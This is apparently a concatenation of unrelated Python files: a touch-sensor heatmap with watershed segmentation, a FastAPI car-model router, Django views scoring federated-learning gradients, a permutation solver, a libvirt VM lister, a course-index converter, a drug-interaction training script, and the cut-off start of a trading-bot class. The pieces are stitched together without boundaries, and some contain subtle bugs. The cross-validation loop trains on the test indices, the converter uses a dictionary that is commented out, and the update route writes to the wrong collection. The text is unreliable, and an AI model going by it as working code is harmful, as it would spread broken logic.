from mpl_toolkits.mplot3d import Axes3D
from matplotlib import rcParams
import matplotlib
matplotlib.use("TkAgg")
import matplotlib.pyplot as plt
import matplotlib.colors as colors
import numpy as np
import math
from scipy.optimize import fsolve
import itertools
import csv
import serial
from threading import Thread
import queue as queue
import sys, traceback
import matplotlib.animation as animation
import asyncio
import time
import socket
from scipy import ndimage
from collections import deque

TCP_IP = '127.0.0.1'
TCP_PORT = 2337
BUFFER_SIZE = 1024
DATA_LENGTH = 64
NA = np.array([-1., -1.])
MAX_NUM_CENTORS = 5
slope = np.array([2.301677934,2.063762825,1.03391249,0.3649959796,0.3400758869,2.244405441,0.359399465,0.2173722835,3.966966,0.5443625948,0.8671992347,1.260503994,0.2565711195,0.237680805,0.373553397,0.3338440363]).astype(np.float)
# intercept = np.array([760.7200811,469.0137383,498.3055184,292.3110538,343.9096552,536.6512874,509.6089657,463.0360338,430.0406523,707.4647486,628.8670323,338.9216782,454.0888636,455.2027609,1261.830357,413.938095]).astype(np.float)

Animate = True
Write_to_file = False

## Output to file
gesture_set = ["swipe_left", "swipe_right", "open", "close"]
gesture = gesture_set[2]
session = "01"
filename = gesture + session + ".data"
file = open(filename, "w")

##Use a queue to store data from serial
global data, n, start, centors, mhi
data = queue.Queue(maxsize=96000)

max_value = 3.6
background = 0
threshold = 0.4 #threshold of touch
centors = np.array([[-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]])
bac_avg = np.zeros(DATA_LENGTH)

mhi = np.ones([8, 8])*max_value

## Add to queue
def addToQueue(q, input, write_to_file = False, file = ""):
    global n, start, bac_avg
    while True:
        try:
            new_input = process(input)

            # ## Calibration
            # n += 1
            # if n == 5:
            #     bac = [new_input]
            # elif n < 25 and n > 5:
            #     bac = np.append(bac,[new_input], axis = 0)
            # elif n == 25:
            #     bac_avg = np.mean(bac, axis = 0)
            # elif n == 100:
            #     end = time.time()
            #     print((end - start) / 100)

            # new_input = new_input - bac_avg + max_value/2
            # print(new_input.tolist())

            q.put(new_input, block=False)
            if write_to_file:
                file.write(" ".join(map(str, new_input)))
                file.write("\n")

        except Exception as err:
            traceback.print_exc(file=sys.stdout)

## Process data from serial. Modify to work with your Arduino code output.
## Current incoming data format (XX is a number): XX XX XX XX ...
def process(input):
    # line = input.readline().decode().replace("\r\n", "").replace("\x00", "").split(" ")
    # line = input.readline().decode().replace("\r\n", "").replace("\x00", "").split(" ")
    line = input.recv(BUFFER_SIZE)
    # print(line)
    line = line.decode().replace("\r\n", "").replace("\x00", "").split(" ")
    line = line[:DATA_LENGTH]
    # print(line)
    rst = np.array(line).astype(np.float) * 3.6 / 256
    # calibrated_rst = rst/slope
    calibrated_rst = rst
    # print(calibrated_rst.tolist())
    # print(rst)
    # rst = np.array([line]).astype(np.float)
    return calibrated_rst

## Process data from serial. Modify to work with your Arduino code output.
## Current incoming data format (XX is a number): XX XX XX XX ...
# def process(input):
#     rst = []
#     while(len(rst) != 20):
#         line = input.readline().decode()
#         rst = []
#         while(line != '\r\r\n' and line != '\r\n'):
#             rst.append(line.replace("\r\n", "").replace("\r", ""))
#             line = input.readline().decode()
#             # print(line)
#         # print(rst)
#     rst = np.array([rst]).astype(np.float)/2500000.0*5.0
#     return rst

if Animate:
    ## Modify according to your Arduino serial port
    # input = serial.Serial('/dev/tty.usbmodem0006820370001', 115200)
    # input = serial.Serial('/dev/ttyUSB0', 115200)
    # input = serial.Serial('/dev/cu.usbmodem54', 19200)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((TCP_IP, TCP_PORT))
    s.listen(5)
    input,addr=s.accept()
    print ('connected with ',addr)
    # Skip first 10 lines
    for i in range(10):
        # print(input.readline())
        print(input.recv(BUFFER_SIZE))

global q
q = deque()

def labelling(i, j, ii, jj, curdist, lab, dist):
    global q
    NIT = -1
    MASK = -2
    WSHED = 0
    if dist[ii, jj] < curdist and (lab[ii, jj] > 0 or lab[ii, jj] == WSHED):
        if lab[ii, jj] > 0:
            if lab[i, j] == MASK or lab[i, j] == WSHED:
                lab[i, j] = lab[ii, jj]
            elif lab[i, j] != lab[ii, jj]:
                lab[i, j] = WSHED
        elif lab[i, j] == MASK:
            lab[i, j] = WSHED
    elif lab[ii, jj] == MASK and dist[ii, jj] == 0:
        dist[ii,jj] = curdist + 1
        q.append(np.array([ii, jj]))

## Watershed algorithm:
def watershed(input):
    global q
    INIT = -1
    MASK = -2
    WSHED = 0
    FICTITIOUS = np.array([-1, -1])
    curlab = 0
    k = input.shape[0]
    dist = np.zeros([k, k])
    lab = np.ones([k, k])*INIT
    hs = np.sort(input.reshape(-1))
    prev_h = -1
    for h in hs:
        if prev_h == h:
            continue
        else:
            prev_h = h
        # print("lab")
        # print(lab)
        for i in range(k):
            for j in range(k):
                if input[i,j] == h:
                    lab[i,j] = MASK
                    flag = 0
                    if i > 0:
                        ii = i - 1
                        if lab[ii,j] > 0 or lab[ii,j] == WSHED:
                            flag = 1
                    if i < k - 1:
                        ii = i + 1
                        if lab[ii,j] > 0 or lab[ii,j] == WSHED:
                            flag = 1
                    if j > 0:
                        jj = j - 1
                        if lab[i,jj] > 0 or lab[i,jj] == WSHED:
                            flag = 1
                    if j < k - 1:
                        jj = j + 1
                        if lab[i,jj] > 0 or lab[i,jj] == WSHED:
                            flag = 1
                    if flag == 1:
                        dist[i,j] = 1
                        q.append(np.array([i,j]))
        curdist = 1
        q.append(FICTITIOUS)
        while len(q) > 0:
            p = q.popleft()
            if p[0] == FICTITIOUS[0] and p[1] == FICTITIOUS[1]:
                if len(q) == 0:
                    break
                else:
                    q.append(FICTITIOUS)
                    curdist += 1
                    p = q.popleft()
            i = p[0]
            j = p[1]

            if i > 0:
                ii = i - 1
                labelling(i, j, ii, j, curdist, lab, dist)
            if i < k - 1:
                ii = i + 1
                labelling(i, j, ii, j, curdist, lab, dist)
            if j > 0:
                jj = j - 1
                labelling(i, j, i, jj, curdist, lab, dist)
            if j < k - 1:
                jj = j + 1
                labelling(i, j, i, jj, curdist, lab, dist)

        for i in range(k):
            for j in range(k):
                if input[i,j] == h:
                    dist[i,j] = 0
                    if lab[i,j] == MASK:
                        curlab = curlab + 1
                        q.append(np.array([i, j]))
                        lab[i,j] = curlab
                        while len(q) > 0:
                            qq = q.popleft()
                            ii = qq[0]
                            jj = qq[1]
                            if ii > 0:
                                iii = ii - 1
                                if lab[iii,jj] == MASK:
                                    q.append(np.array([iii, jj]))
                                    lab[iii,jj] = curlab
                            if ii < k - 1:
                                iii = ii + 1
                                if lab[iii,jj] == MASK:
                                    q.append(np.array([iii, jj]))
                                    lab[iii,jj] = curlab
                            if jj > 0:
                                jjj = jj - 1
                                if lab[ii,jjj] == MASK:
                                    q.append(np.array([ii, jjj]))
                                    lab[ii,jjj] = curlab
                            if jj < k - 1:
                                jjj = jj + 1
                                if lab[ii,jjj] == MASK:
                                    q.append(np.array([ii, jjj]))
                                    lab[ii,jjj] = curlab
    return lab

## Extract centors from watershed result as weighted centroid
def extract_centors(input, threshold):
    input_inv = (input / 10.0).astype(int)
    count = np.zeros([5])
    count_pixel = np.zeros([5])
    x_s = np.zeros([5])
    y_s = np.zeros([5])
    addup = 0.0
    label = watershed(input_inv)
    # print(label)
    for i in range(input.shape[0]):
        for j in range(input.shape[1]):
            index = (int)(label[i, j])
            addup += input[i, j]
            if index > 0:
                count[index] += input[i, j]
                x_s[index] += input[i,j]*i
                y_s[index] += input[i,j]*j
                count_pixel[index] += 1.0
    rst = []
    mean = addup / input.shape[0] / input.shape[1]
    level = mean * threshold + mean ## greater than this level
    for i in range(5):
        value = count[i] / count_pixel[i]
        if count[i] > 0 and value > level:
            x = x_s[i] / count[i]
            y = y_s[i] / count[i]
            rst = rst + [[y, x]] ## Reverse orders
    return np.array(rst)

## Extract touch location as local maxima
def extract_touch(input, threshold):
    input_inv = (input / 10.0).astype(int)
    maxima = np.zeros([5])
    x_s = np.zeros([5])
    y_s = np.zeros([5])
    addup = 0.0
    label = watershed(input_inv)
    # print(label)
    for i in range(input.shape[0]):
        for j in range(input.shape[1]):
            index = (int)(label[i, j])
            addup += input[i, j]
            if index > 0 and index < 5:
                if(maxima[index] < input[i, j]):
                    x_s[index] = i
                    y_s[index] = j
                    maxima[index] = input[i, j]
    rst = []
    mean = addup / input.shape[0] / input.shape[1]
    level = mean * threshold + mean ## greater than this level
    for i in range(5):
        if maxima[i] > level:
            x = x_s[i]
            y = y_s[i]
            rst = rst + [[y, x]] ## Reverse orders
    return np.array(rst)

## Extracting nearest pairs
def pair(centors, new_centors, nearest, pair_list, pair_list_current, rst_centors, count_paired, count_prev):
    nearest_dis = 100000000 * np.ones(MAX_NUM_CENTORS)## Stores distances of nearest CURRENT touches for the previous touch
    for i in range(MAX_NUM_CENTORS): ## Produce a list of unparied previous touch with its closest unpaired current touch
        if not np.array_equal(centors[i], NA):
            if pair_list[i] == -1:
                for j in range(new_centors.shape[0]):
                    if pair_list_current[j] == -1:
                        dis = (centors[i][0] - new_centors[j][0]) ** 2 + (centors[i][1] - new_centors[j][1]) ** 2
                        if nearest_dis[i] > dis:
                            nearest_dis[i] = dis
                            nearest[i] = j

    index_sorted = np.argsort(nearest_dis)
    for i in range(MAX_NUM_CENTORS):
        current_pair = (nearest[index_sorted[i]]).astype(int)
        if current_pair != -1:
            if pair_list_current[current_pair] == -1: ## CURRENT touch is unpaired
                pair_list_current[current_pair] = index_sorted[i]
                pair_list[index_sorted[i]] = current_pair
                rst_centors[index_sorted[i]] = new_centors[current_pair]
                count_paired += 1
                if count_paired == new_centors.shape[0]: ## all CURRENT touches are paired
                    return rst_centors
                elif count_paired == count_prev: ## all PREVIOUS touches are paired
                    for j in range(new_centors.shape[0]):
                        if pair_list_current[j] == -1: ## unpaired CURRENT touches
                            for k in range(MAX_NUM_CENTORS):
                                if np.array_equal(rst_centors[k], NA):
                                    rst_centors[k] = new_centors[j]
                                    break
                    return rst_centors
            else:
                # print(centors)
                # print(new_centors)
                # print(nearest_dis)
                # print(count_paired)
                # print(pair_list)
                # print(pair_list_current)
                return pair(centors, new_centors, nearest, pair_list, pair_list_current, rst_centors, count_paired, count_prev)

## Tracking using minimum distance first (MDF) algorithm
def track(centors, new_centors):
    nearest = -1 * np.ones(MAX_NUM_CENTORS) ## Stores nearest CURRENT touches for the previous touch
    pair_list = -1 * np.ones(MAX_NUM_CENTORS) ## Stores paired CURRENT touches for the previous touch
    pair_list_current = -1 * np.ones(new_centors.shape[0]) ## Stores paired PREVIOUS touches for the current touch
    rst_centors = np.array([[-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]])
    count_paired = 0
    count_prev = 0
    for i in range(MAX_NUM_CENTORS): ## Produce a list of unparied previous touch with its closest unpaired current touch
        if not np.array_equal(centors[i], NA):
            count_prev += 1
    if count_prev == 0:
        for i in range(new_centors.shape[0]):
            centors[i] = new_centors[i]
        return centors
    return pair(centors, new_centors, nearest, pair_list, pair_list_current, rst_centors, count_paired, count_prev)

# In[ ]:

## Realtime plot function

fig = plt.figure()
ax = fig.add_subplot(111)
ax.set_xlabel('X')
ax.set_ylabel('Y')

window = None

## Update example, to be implemented
def update(frame, sensor_data, layout, max_value=5.0, background = 0, threshold = 0, normalize=False, smoothing_over=1):
    global window, centors, mhi
    d = sensor_data.get().reshape(-1)
    # print(np.mean(d[:12]))
    # print(d)
    # print(d.shape[0])
    if smoothing_over > 1:
#         print(d.shape[0])
        if frame < 1:
            window = np.zeros((smoothing_over, d.shape[0]))
            window[0] = d
            # for a in range(smoothing_over - 1):
            #     window[a + 1] = sensor_data.get().reshape(-1)
        else:
            if frame > smoothing_over:
                window = np.delete(window, 0, 0)
            window = np.append(window, [d], axis=0)
            # print(window.shape)
        d = np.median(window, axis=0)
#     print(d)
    vis = np.copy(layout)
    k = 0
    magnitude = 0
    if normalize:
        d = d/np.sum(d)
#     print(d)
    for i, j in itertools.product(range(vis.shape[0]), range(vis.shape[1])):
        if vis[i, 7-j] != 0: # replacing the placeholders in order
            vis[i, 7-j] = max_value - (d[k] - background)
            # magnitude += vis[i, j]
#             print(d[k])
            k += 1
#         print("Normalized confusion matrix")
#     else:
#         print('Confusion matrix, without normalization')

#     for i, j in itertools.product(range(vis.shape[0]), range(vis.shape[1])):
#         plt.text(j, i, vis[i, j],
#                  horizontalalignment="center",
#                  color="white" if vis[i, j] > thresh else "black")

#     xdata.append(frame*0.01)
#     ydata.append(np.sin(frame))
#     ln.set_data(xdata, ydata)
    ln.set_array(max_value - vis)
    # if magnitude > threshold:
    remap = vis[:, :]
        # print(remap)
        # for ix,iy in np.ndindex(remap.shape):
        #     remap[ix,iy] = (remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*(remap[ix,iy])*100000

        # com = ndimage.measurements.center_of_mass(remap)
        # offset_coeff = 1
        # centor = 1.5
        # new_offset_y = centor + (com[1] - centor) * offset_coeff
        # new_offset_x = centor + (com[0] - centor) * offset_coeff
        # sc.set_offsets([new_offset_y, new_offset_x])

    # new_centors = extract_centors(max_value, vis, threshold)
    new_centors = extract_touch(vis, threshold)
    if new_centors.shape[0] > 0:
        cur_centors = track(centors, new_centors)
        centors = cur_centors
    else:
        centors = np.array([[-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]])
    # sc0.set_offsets(centors[0])
    # sc1.set_offsets(centors[1])
    # sc2.set_offsets(centors[2])
    # sc3.set_offsets(centors[3])
    # sc4.set_offsets(centors[4])
#     print(vis)

    # tau = 10
    # if mhi.sum(axis=(0,1)) == 0:
    #     mhi = np.ones([4, 4])*max_value
    # for j in range(4):
    #     for k in range(4):
    #         if vis[j, k] < max_value - 10:
    #             if mhi[j, k] == max_value:
    #                 mhi[j, k] = frame
    #             else:
    #                 mhi[j, k] -= 1
    #         elif mhi[j, k] < frame - tau:
    #             mhi[j, k] = 0
    # print(mhi)
    # grad = np.gradient(mhi, axis=1)
    # grad_sum = grad.sum(axis=(0,1))
    # print(grad_sum)

    return ln, sc0, sc1, sc2, sc3, sc4

# In[ ]:

### Start realtime plotting

start = time.time()
n = 0

if Animate:
    # Start adding to the queue
    adder = Thread(target=addToQueue, args=(data, input, True, file))
    adder.setDaemon(True)
    adder.start()

# layout=np.array([[1.0,1.0,1.0,1.0], [1.0,1.0,1.0,1.0], [1.0,1.0,1.0,1.0], [1.0,1.0,1.0,1.0]]) # Layout of photodiodes with 1 as placeholders for photodiodes and 0 as blank

layout=np.array([[0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01], [0.01,0.01,0.01,0.01,0.01,0.01,0.01,0.01]]) # Layout of photodiodes with 1 as placeholders for photodiodes and 0 as blank

len_data = layout.shape[0]
title='Depth Map'
cmap=plt.cm.Reds

vis = layout
ln = ax.imshow(vis, interpolation='nearest', cmap=cmap, vmin=0, vmax=2.0,animated=True)
sc0 = ax.scatter(-1, -1, marker='^', s=200, c='blue')
sc1 = ax.scatter(-1, -1, marker='*', s=200, c='green')
sc2 = ax.scatter(-1, -1, marker='o', s=200, c='yellow')
sc3 = ax.scatter(-1, -1, marker='s', s=200, c='cyan')
sc4 = ax.scatter(-1, -1, marker='v', s=200, c='black')
plt.title(title)
fig.colorbar(ln)
tick_marks = np.arange(len_data)
plt.xticks(tick_marks, tick_marks, rotation=45)
plt.yticks(tick_marks, tick_marks)

# print(vis)

#     for i, j in itertools.product(range(vis.shape[0]), range(vis.shape[1])):
#         plt.text(j, i, vis[i, j],
#                  horizontalalignment="center",
#                  color="white" if vis[i, j] > thresh else "black")

plt.tight_layout()
plt.ylabel('X axis')
plt.xlabel('Y axis')
plt.xlim([-0.5, layout.shape[0] - 0.5])
plt.ylim([-0.5, layout.shape[1] - 0.5])

if Animate:
    ani = animation.FuncAnimation(fig, update, frames=1000000,
                        fargs=(data, layout, max_value, background, threshold, False, 3),interval=10, blit=True, repeat=True)

# ani = animation.FuncAnimation(fig, update, fargs=([],), interval=75, init_func=init, blit=True, repeat=True)

plt.show()
data.join()


from asyncio.windows_events import NULL
from fastapi import APIRouter, Body

from models.car_model import CarModel
from config.db import conn
from schemas.car_model import modelEntity,modelsEntity
from bson import ObjectId

model = APIRouter()

@model.get('/models')
async def find_all_car_models():
    return modelsEntity(conn.ucars.car_model.find())

@model.post('/model')
async def create_car_model(car_model : CarModel):
    conn.ucars.car_model.insert_one(dict(car_model))
    return modelsEntity(conn.ucars.car_model.find())

@model.put('/model/{id}')
async def update_car_model(id,car_model:CarModel):
    conn.ucars.car_brand.find_one_and_update({"_id":ObjectId(id)},{
        "$set":dict(car_model)
    })
    return modelEntity(conn.ucars.car_brand.find_one({"_id":ObjectId(id)}))

@model.delete('/model/{id}')
async def delete_car_model(id):
    conn.ucars.car.update_many({"car_model_id" : str(ObjectId(id))},{
        "$set":{"car_model_id":NULL}})
    return modelEntity(conn.ucars.car_model.find_one_and_delete({"_id":ObjectId(id)}))


# from django.shortcuts import render
from django.http import JsonResponse

from anomaly.metrics.krum import Krum
from anomaly.metrics.zeno import Zeno
from anomaly.metrics.fools import Fools
from anomaly.metrics.auror import Auror
from anomaly.metrics.sniper import Sniper
from anomaly.metrics.pca import Pca
from backend.rfile import RFile

# from const import *
import const
import numpy as np

# Create your views here.

# def krum(request):
#
#     rfile = RFile(JSON_PATH)
#
#     k = int(request.GET.get('k', -1))
#     round = int(request.GET.get('round', -1))
#     layers = rfile.get_layer(request.GET.get('layers', -1))
#
#     result = rfile.get_grad(JSON_PATH, layers, round)
#     round = result['round']
#     gradients = result['data']
#     krum_obj = Krum(k)
#     return JsonResponse({'round': round, 'data': krum_obj.get_score(gradients)}, safe=False)

# def geo_med(request):
#
#     layers = get_layer(request.GET.get('layers', -1))
#
#     gradients = get_grad('/Users/zhangtianye/Documents/FD/Femnist/test/', layers)
#     med_obj = Med(gradients)
#     return JsonResponse(med_obj.gradients['0'],safe=False)

def fools(request):

    rfile = RFile(const.JSON_PATH)

    k = int(request.GET.get('k', -1))
    round = int(request.GET.get('round', -1))
    layers = rfile.get_layer(request.GET.get('layers', -1))

    result = rfile.get_grad(const.JSON_PATH, layers, round)
    round = result['round']
    gradients = result['data']
    data = rfile.reshape_grad(gradients)

    fools_obj = Fools(k)

    scores = []
    for i in range(len(data)):
        scores.append(fools_obj.score(data[i]))
    score = rfile.avg_score(scores)

    return JsonResponse({'round': round, 'data': score}, safe=False)

def zeno(request):

    rfile = RFile(const.JSON_PATH)

    # suggest p = 100
    p = float(request.GET.get('p', -1))
    round = int(request.GET.get('round', -1))
    layers = rfile.get_layer(request.GET.get('layers', -1))

    latest_result = rfile.get_perf(const.JSON_PATH, round, 'train')
    latest_round = latest_result['round']
    latest_perf = latest_result['data']
    former_perf = rfile.get_perf(const.JSON_PATH, latest_round - 1, 'train')['data']

    latest_grad = rfile.get_grad(const.JSON_PATH, layers, latest_round)['data']
    reshape_latest_grad = rfile.reshape_grad(latest_grad)
    former_grad = rfile.get_grad(const.JSON_PATH, layers, latest_round - 1)['data']
    reshape_former_grad = rfile.reshape_grad(former_grad)

    zeno_obj = Zeno(p)

    scores = []
    for i in range(len(reshape_latest_grad)):
        scores.append(zeno_obj.score(latest_perf, former_perf, reshape_latest_grad[i], reshape_former_grad[i]))
    score = rfile.avg_score(scores)

    return JsonResponse({'round': latest_round, 'data': score}, safe=False)

def auror(request):

    rfile = RFile(const.JSON_PATH)

    k = int(request.GET.get('k', -1))
    round = int(request.GET.get('round', -1))
    layers = rfile.get_layer(request.GET.get('layers', -1))

    result = rfile.get_grad(const.JSON_PATH, layers, round)
    round = result['round']
    gradients = result['data']
    data = rfile.reshape_grad(gradients)

    auror_obj = Auror(k)

    scores = []
    for i in range(len(data)):
        scores.append(auror_obj.score(data[i]))
    score = rfile.avg_score(scores)

    return JsonResponse({'round': round, 'data': score}, safe=False)

def sniper(request):

    rfile = RFile(const.JSON_PATH)

    p = float(request.GET.get('p', -1))
    round = int(request.GET.get('round', -1))
    layers = rfile.get_layer(request.GET.get('layers', -1))

    result = rfile.get_grad(const.JSON_PATH, layers, round)
    round = result['round']
    gradients = result['data']
    data = rfile.reshape_grad(gradients)

    sniper_obj = Sniper(p)

    scores = []
    for i in range(len(data)):
        scores.append(sniper_obj.score(data[i]))
    score = rfile.avg_score(scores)

    return JsonResponse({'round': round, 'data': score}, safe=False)

# def dagmm(request):
#
#     layers = get_layer(request.GET.get('layers', -1))
#     gradients = get_grad(JSON_PATH, layers, -1)
#
#     dagmm_obj = DAGMM(gradients)
#     dagmm_obj.score()
#     return JsonResponse(['test'], safe=False)

def pca(request):

    rfile = RFile(const.JSON_PATH)

    k = int(request.GET.get('k', -1))
    round = int(request.GET.get('round', -1))
    layers = rfile.get_layer(request.GET.get('layers', -1))

    result = rfile.get_grad(const.JSON_PATH, layers, round)
    round = result['round']
    gradients = result['data']
    data = rfile.reshape_grad(gradients)

    pca_ojb = Pca(k)

    scores = []
    for i in range(len(data)):
        scores.append(pca_ojb.score(data[i]))
    score = rfile.avg_score(scores)

    return JsonResponse({'round': round, 'data': score}, safe=False)


import sys
from collections import deque
sys.setrecursionlimit(10**6)

si = sys.stdin.readline
N = int(si())

def dfs(current, li: list):
    if current == len(input):
        word_set.append("".join(li))
        return

    for i in range(len(input)):
        if visited[i] == 0:
            li.append(input[i]) # 추가
            visited[i] = 1 # 방문처리
            dfs(current + 1, li)
            li.pop() # 초기화
            visited[i] = 0 # 초기화
    return
for i in range(N):
    word_set = deque([])
    input = list(map(str, si().rstrip()))
    input.sort()
    visited = [0 for _ in range(len(input))]
    dfs(0, [])

    word_set = set(list(word_set))
    word_set=list(word_set)
    word_set.sort()
    for word in word_set:
        print(word)


import sys
import libvirt
conn=libvirt.open("qemu:///system")

domainNames = conn.listDefinedDomains()
for domainName in domainNames:
	print ('{{"name":"{}","state":"{}","maxmem":"{}","nbcpu":"{}"}}'.format(domainName, "-1","NONE","NONE"))

for id in conn.listDomainsID():
	dom = conn.lookupByID(id)
	infos = dom.info()
	print ('{{"name":"{}","state":"{}","maxmem":"{}","nbcpu":"{}"}}'.format(dom.name(), infos[0],infos[1],infos[3]))
sys.stdout.flush()


import csv
import io
import json
import copy
import re

###
### make_tasklist_json.py ... It is newer and replaces this
###
def get_csv_local():
    csv_lines = list()
    with open('/home/kalvis/workspace/math/src/site/discrete/static/website-data/discrete2021-index.csv') as csv_in:
        for csv_line in csv_in:
            csv_lines.append(csv_line)
        #csv_lines = csv_in.splitlines()
    result = csv.reader(csv_lines)
    return result

def make_lst(tasks):
#    week_dict = {
#        'W1': '2020-01-06 to 2020-01-10',
#        'W2': '2020-01-13 to 2020-01-17',
#        'W3': '2020-01-20 to 2020-01-24',
#        'W4': '2020-01-27 to 2020-01-31',
#        'W5': '2020-02-03 to 2020-02-07',
#        'W6': '2020-02-10 to 2020-02-14',
#        'W7': '2020-02-17 to 2020-02-21',
#        'W8': '2020-02-24 to 2020-02-28',
#        'W9': '2020-03-02 to 2020-03-06',
#        'W10': '2020-03-09 to 2020-03-13',
#        'W11': '2020-03-16 to 2020-03-20',
#        'W12': '2020-03-23 to 2020-03-27',
#        'W13': '2020-03-30 to 2020-04-03',
#        'W14': '2020-04-06 to 2020-04-17',
#        'W15': '2020-04-20 to 2020-01-24',
#        'W16': '2020-04-27 to 2020-01-31'
#    }

    week_list = []

    empty_week = {
        'title': 'NA',
        'itemNum': 'NA',
        'links':[]
    }

    empty_topic = {
        'title': 'NA',
        'subsection': 'NA',
        'reading': 'NA',
        'video': [],
        'task': []
    }

    week_count = 0
    prev_week_id = 'W0'
    row_count = 0

    for row in tasks:
        row_count += 1
        if row_count == 1:
            continue
        curr_week = row[0].strip()
        if curr_week != prev_week_id:
            week_count += 1
            week_list.append(copy.deepcopy(empty_week))
            topWeek = week_list[len(week_list)-1]
            if curr_week in week_dict:
                topWeek['title'] = week_dict[curr_week]
            else:
                topWeek['title'] = 'NA'
            topWeek['itemNum'] = week_count
            prev_week_id = curr_week
            prev_topic_id = '0'

        curr_topic_id = row[1]
        if curr_topic_id != prev_topic_id:
            week_list[len(week_list)-1]['links'].append(copy.deepcopy(empty_topic))
            prev_topic_id = curr_topic_id
        curr_key = row[2]
        curr_value = row[3]
        if curr_key == 'title' or curr_key == 'task':
            curr_value = re.sub(r'\$(.*)\$', r'\\( \1 \\)', curr_value)
            #print('transformed to {}'.format(curr_value))
        if curr_key in ['subsection', 'title', 'reading','video','task']:
            topWeek = week_list[len(week_list)-1]
            topTopic = topWeek['links'][len(topWeek['links']) - 1]
            if curr_key in ['subsection', 'title', 'reading']:
                topTopic[curr_key] = curr_value
            else:
                topTopic[curr_key].append(curr_value)

    return week_list

def main():
    the_table = get_csv_local()
    week_list = make_lst(the_table)
    fname = '/home/kalvis/workspace-new/linen-tracer-682/data/discrete_index.json'
    with io.open(fname, 'w', encoding='utf8') as json_file:
        json.dump(week_list, json_file, ensure_ascii=False, sort_keys=True, indent=4)

if __name__ == '__main__':
    main()


from model.utils import create_model
import pytorch_lightning as pl
from data.data_tools import make_data1, make_data2, DDIDataset
from sklearn.model_selection import StratifiedKFold
import numpy as np
from torch.utils.data import DataLoader
from metrics import evaluate
import torch.nn.functional as F
import os
import yaml
import time
import torch

def main():
    cross_ver_tim = 5
    batch_size = 256
    # data_info = "../data/dataset2/drug_information_del_noDDIxiaoyu50.csv"
    # data_extraction = "../data/dataset2/df_extraction_cleanxiaoyu50.csv"
    #make_data1("data/dataset1/event.db")
    feature, label, event_num, feature_len = make_data1("data/dataset1/event.db")

    # write yaml_file
    yaml_file = None

    with open('model/task1.yaml', 'r', encoding='utf-8') as f:
        yaml_file = yaml.load(f.read(), Loader=yaml.Loader)
    yaml_file['model']['params']['output_dim'] = event_num
    yaml_file['model']['params']['struct_len'] = feature_len[-1]
    yaml_file['model']['params']['other_len'] = feature_len[0] + feature_len[1] + feature_len[2]
    task = yaml_file['model']['task']
    with open('model/task1.yaml', 'w', encoding='utf-8') as f:
        yaml.dump(data=yaml_file, stream=f, allow_unicode=True)

    if os.path.exists("data/dataset1/k_fold.npy"):
        k_fold = np.load("data/dataset1/k_fold.npy",allow_pickle=True)
    else:
        skf = StratifiedKFold(n_splits=cross_ver_tim)
        k_fold = []
        for train_index, test_index in skf.split(feature, label):
            k_fold.append([test_index, test_index])
        np.save("data/dataset1/k_fold.npy", k_fold)

    #save result
    y_true = np.array([])
    y_score = np.zeros((0, event_num), dtype=float)
    y_pred = np.array([])

    print("K-Flod validation:")
    cnt = 1
    start = time.time()
    for train_index, test_index in k_fold:
        print(f"Flod: {cnt}")
        cnt += 1

        x_train, x_test = feature[train_index], feature[test_index]
        y_train, y_test = label[train_index], label[test_index]

        print(f"Making Dataset")
        train_dataset = DDIDataset(x_train, np.array(y_train))
        test_dataset = DDIDataset(x_test, np.array(y_test))
        train_loader = DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True)
        test_loader = DataLoader(dataset=test_dataset, batch_size=batch_size, shuffle=False)
        print(f"Creating Model")
        model = create_model("model/task1.yaml")
        trainer = pl.Trainer(accelerator="gpu", devices="auto", max_epochs=60,
                             default_root_dir=f'lightning_logs/fold{cnt - 1}')
        print(f"Train model, fold:{cnt - 1}")
        trainer.fit(model, train_dataloaders=train_loader, val_dataloaders=test_loader)
        # test
        model.freeze()

        predictions = trainer.predict(model, test_loader)

        predictions = torch.cat(predictions, 0)

        pre_score = np.zeros((0, event_num), dtype=float)
        pre_score = np.vstack((pre_score, F.softmax(predictions).cpu().numpy()))

        pred_type = np.argmax(pre_score, axis=1)
        y_pred = np.hstack((y_pred, pred_type))
        y_score = np.row_stack((y_score, pre_score))

        y_true = np.hstack((y_true, y_test))
        np.save(f"task1_pred.npy", y_pred)
        np.save(f"task1_score.npy", y_score)
        np.save(f"task1_true.npy", y_true)

    end = time.time()
    result_all, result_eve = evaluate(y_pred, y_score, y_true, event_num, task_type=task)
    np.save(f'task1_result.npy', np.array(result_all))
    np.save(f'task1_result_eve.npy', np.array(result_eve))
    print(f"train_time:{end - start}")

main()


# -*- coding: utf-8 -*-

"""
Beta MA No.1

信号1 趋势中
信号2 大周期接近均线
信号3 小周期影线和成交量达到要求

"""
import json

from ...models import AccountInfo, Strategy, PlaceAlgo
import pandas as pd
try:
    import mplfinance as mpf
except:
    pass
import time
from ..basetrade.basetrade import BaseTrade
from ..conf.ma_trade_args import args_dict
import re

class MaTrade(BaseTrade):
    def __init__(self, api_key=None, secret_key=None, passphrase=None, use_server_time=False, flag='1', **kwargs):
        super().__init__(api_key, secret_key, passphrase, use_server_time, flag, logfile=kwargs.get('logfile', None))
        self.df = None
        self.df_3mins = None
        self.stop_loss = 0
        self.flag = flag
        self.ma = kwargs.get('ma')
        self.instId = kwargs.get('instId')
        self.bar2 = kwargs.get('bar2')
        self.trader = kwargs.get('trader')
        self.big_bar_time = 10
        self.accountinfo_obj = kwargs.get('accountinfo')
        self.strategy_obj = self.init_strategy(kwargs.get('strategy_obj'))
        self.all_accountinfo_data_list = None
        self.orderinfo_obj = None
        self.signal_order_para = None
        self.signal1 = False
        self.signal2 = False
        self.signal3 = False
        self.signal_info_dict = {}
